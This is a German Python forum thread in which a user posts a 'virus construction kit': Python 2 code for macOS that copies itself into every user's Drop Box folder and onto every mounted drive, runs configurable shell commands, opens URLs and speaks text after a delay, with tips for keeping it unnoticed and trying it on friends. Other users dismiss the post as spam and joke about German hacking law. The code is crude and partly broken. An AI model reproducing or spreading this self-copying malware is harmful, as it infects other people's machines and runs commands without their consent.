Virus Baukasten

Stellt hier eure Projekte vor.
Internetseiten, Skripte, und alles andere bzgl. Python.
Antworten
Benutzeravatar
TutorialMichel
User
Beiträge: 10
Registriert: Samstag 4. Juni 2016, 15:08

Noch ein Virus Baukasten... :shock:
Funktionen:
- Kopiert sich in jeden Briefkasten
- Kopiert sich auf jedes Eingesteckte Laufwerk
- Erweiterungen(Ein-/Ausschaltbar)
- Sagt eine Text
- Führt einen Befehl aus
- Ruft eine Webseite auf
- Wartet Sekunden
- Sagt nach Warten einen Text
- Führt nach Warten einen Befehl aus
- Ruft nach Warten eine Webseite auf

Code: Alles auswählen

# Virus Baukasten IBO ! Benutzten auf eigene Befahr!
#
# Coded von: TutorialMichel
#
# Bitte setzte den Namen dieser Datei in den STR(module_0)
module_0 = '' # <--------------------------------------------- Wichtig! <-------
##########################################################################################################################################
# Erweiterungen
# *---* *---* Nr. 1 *---* *---* #
# Funktion: Sprachausgabe
module_1_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_1_1 = '' # Sprach ausgabe
#
# *---* *---* Nr. 2 *---* *---* #
# Funktion: Terminal Befehl
module_2_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_2_1 = '' # Terminal Befehl
#
# *---* *---* Nr. 3 *---* *---* #
# Punktion: Warten
module_3_0 = 'OFF'# Erweiterung Ein-/Ausschalten
module_3_1 = '' # Zahl der Sekunden die gewartet werden
#
# *---* *---* Nr. 3a *---* *---* #
# Funktion: Nach dem Warten wird ... gesagt!
# Vorausetzung: Erweiterung 3
module_3_a_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_3_a_1 = '' # Nachricht die Gesagt wird
#
# *---* *---* Nr. 3b *---* *---* #
# Funktion: Nach dem Warten wird der Befehl abgeschickt!
# Voraussetzung: Erweiterung 3
module_3_b_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_3_b_1 = '' # Terminal Befehl
# *---* *---* Nr. 3c *---* *---* #
# Funktion: Nach dem Warten wird eine Webseite aufgerufen!
# Voraussetzung: Erweiterung 3
module_3_c_0 = 'OFF'
module_3_c_1 = '' # URL der Webseite
# *---* *---* Nr. 4 *---* *---* #
# Funktion: Webseite Oeffenen
module_4_0 = 'OFF' # Erweiterung Ein-/Ausschalten
module_4_1 = '' # URL der Webseite
#
# *---* *----* Nr. 5 *---* *---* #
# Funktion: Gibt eine Nachricht aus bei allen was Passiert wird!
module_5_0 = 'OFF' # Erweiterung Ein-/Ausschalten
#
# *---* *---* Nr. 6 *---* *---* #
# Funktion: Testen Virus Kopiert sich nicht!
module_6_0 = 'OFF' # Erweiterung Ein-/Ausschalten
#
###########################################################################################################################################
# +---+ *---* Tipps *---* +---+ #
# Tipp fuer Erweiterung 1:
#   Wenn es unnauffaellig seien soll, auf OFF stellen.
#
# Tipp fuer Erweiterung 2:
#   Benutzte ; Um mehrere Befehle Hintereinnader auszufuehren
#     z.B. 'cd /Users/ ; ls > XXX.XXX'
#
# Tipp fuer Erweiterung 3:
# Minuten/Stunden in Sekunden
#             1 min      5min       10min       15min        20min
#              60        300         600         900         1.200
#
#             30min      40min      45min       60min        90min
#             1.800      2.400      2.700       3.600        5.400
#
#             2h         3h         4h          5h           6h
#             7.200      10.800     14.400      18.000       21.600
#
#             12h        14h        16h         18h          20h
#             43.200     50.400     57.600      64.800       72.000
#
#             22h        24h
#             79.200     86.400
#
# Tipp fuer Erweiterung 3a:
#  Wenn es unauffaelig seien soll, auf OFF stellen .
#
# Tipp fuer Erweiterung 3b:
#   Benutzte ; Um mehrere Befehle Hintereinnader auszufuehren
#     z.B. 'cd /Users/ ; ls > XXX.XXX'
#
# Tipp fuer Erweiterung 5:
#    Vergesse es nicht auszustellen... ;-)
#
# Tipp fuer Erweiterung 6:
#    Nicht auf ON lassen wenn du es bei deinen Freunden Testets :-)
##########################################################################################################################################
# Achtung: Ab jetzt kommt Python Script! :-)
# Bitte nicht Anfassen :-) Don't touch this python script :-)
##########################################
import subprocess, time, os, webbrowser
module_0_1 = os.path.abspath(module_0)
subprocess.call(['cp ' + str(module_0) + ' /Users/Shared/' + str(module_0)],shell=True)
subprocess.call(['ls /Users/ > .tmp'],shell=True)
module_0_datei = open('.tmp', 'r')
while(1):
    module_0_datei_0 = module_0_datei.readline()
    if module_0_datei_0 == '':
        break
    module_0_datei_1 = module_0_datei_0.strip('\n')
    if module_0_datei_1 != 'Shared':
        if module_6_0 != 'ON':
            if module_5_0 == 'ON':
                print "[Debug] Virus kopiert sich zu: /Users/" + module_0_datei_1 + '/Public/Drop\ Box/' + module_0 + ' [Debug]'
            subprocess.call(['cp ' + str(module_0) + ' /Users/' + str(module_0_datei_1) + '/Public/Drop\ Box/' + str(module_0)],shell=True)
        if module_6_0 == 'ON':
            if module_5_0 == 'ON':
                print "[Debug] Virus konnte nicht kopiert werden zu: /Users/" + module_0_datei_1 + '/Public/Drop\ Box/' + module_0 + ' [Debug]'
##########################################
subprocess.call(['ls /Volumes/ > .tmp'],shell=True)
module_0_datei.close()
module_0_datei = open('.tmp', 'r')
while(1):
    module_0_datei_2 = module_0_datei.readline()
    if module_0_datei_2 == '':
        break
    module_0_datei_3 = module_0_datei_2.strip('\n')
    if module_0_datei_3 != 'Macintosh HD' and module_0_datei_3 != 'MobileBackups':
        if module_6_0 != 'ON':
            if module_5_0 == 'ON':
                print "[Debug] Virus kopiert sich zu: /Volumes/" + module_0_datei_3 + '/' + module_0 + ' [Debug]'
            subprocess.call(['cp ' + str(module_0) + ' /Volumes/' + str(module_0_datei_3) + '/' + str(module_0)],shell=True)
        if module_6_0 == 'ON':
            if module_5_0 == 'ON':
                print "[Debug] Virus konnte nicht kopiert werden zu: /Volumes/" + module_0_datei_3 + '/' + module_0 + ' [Debug]'
############################################
if module_1_0 == 'ON':
    if module_5_0 == 'ON':
        print "[Debug] '" + module_1_1 + "' wurde gesagt [Debug]"
    subprocess.call('say ' + str(module_1_1))
if module_2_0 == 'ON':
    if module_5_0 == 'ON':
        print "[Debug] '" + module_2_1 + "' wurde ausgefuehrt [Debug]"
    subprocess.call('' + str(module_2_1))
if module_4_0 == 'ON':
    if module_5_0 == 'ON':
        print "[Debug] '" + module_4_1 + "' wurde aufgerufen [Debug]"
    webbrowser.open_new_tab('' + str(module_4_1))
webbrowser.open_new_tab('https://www.python-forum.de/viewtopic.php?f=9&t=38708')
if module_3_0 == 'ON':
    if module_5_0 == 'ON':
        print "[Debug] Es wird gewartet (" + module_3_1 + ')'
    time.sleep(int(module_3_1))
    if module_3_a_0 == 'ON':
        if module_5_0 == 'ON':
            print "[Debug] '" + module_3_a_1 +  "' wurde gesagt [Debug]"
        subprocess.call(['say ' + str(module_3_a_1)],shell=True)
    if module_3_b_0 == 'ON':
        if module_5_0 == 'ON':
            print "[Debug] '" + module_3_b_1 + "' wurde ausgefuehrt [Debug]"
        subprocess.call(['' + str(module_3b_1)],shell=True)
    if module_3_c_0 == 'ON':
        if module_5_0 == 'ON':
            print "[Debug] '" + module_3_c_1 + "' [Debug]"
        webbrowser.open_new_tab('' + str(module_3_c_1))
P.S. Ich werde auf keine Kommentare Antworten!
__deets__
User
Beiträge: 14493
Registriert: Mittwoch 14. Oktober 2015, 14:29

Menschen, die anderen Menschen Dinge beibringen wollen und gleichzeitig lernresistent sind - da kann ja nur Unsinn bei rumkommen. Und sehen sie - so ist es auch!
Benutzeravatar
snafu
User
Beiträge: 6731
Registriert: Donnerstag 21. Februar 2008, 17:31
Wohnort: Gelsenkirchen

Kann man den Kerl nicht irgendwie blocken? Er postet fragwürdiges Zeug (über die Qualität sag ich mal nichts) und ist an keinerlei Diskussionen interessiert. Ganz ehrlich: Was hat der hier im Forum verloren?
Sirius3
User
Beiträge: 17711
Registriert: Sonntag 21. Oktober 2012, 17:20

Sieht stark nach Spam aus, Zeugs, das niemand braucht, reagiert nicht auf Antworten, nervt furchtbar.
DasIch
User
Beiträge: 2718
Registriert: Montag 19. Mai 2008, 04:21
Wohnort: Berlin

Ihr müsst verstehen dass ist eigentlich genial. Der Trick ist nämlich sich so schlecht vorzubereiten dass es keiner Ernst nimmt und man so ohne aufwendige OpSec §202c ignorieren kann. ;)
Benutzeravatar
kbr
User
Beiträge: 1487
Registriert: Mittwoch 15. Oktober 2008, 09:27

DasIch hat geschrieben:Ihr müsst verstehen dass ist eigentlich genial. Der Trick ist nämlich sich so schlecht vorzubereiten dass es keiner Ernst nimmt und man so ohne aufwendige OpSec §202c ignorieren kann. ;)
und es sich im Zweifelsfall nicht um den eigenen Code handelt, sondern um vaterverständlich geschriebene brüderliche Seitenprojekte … ;)
Antworten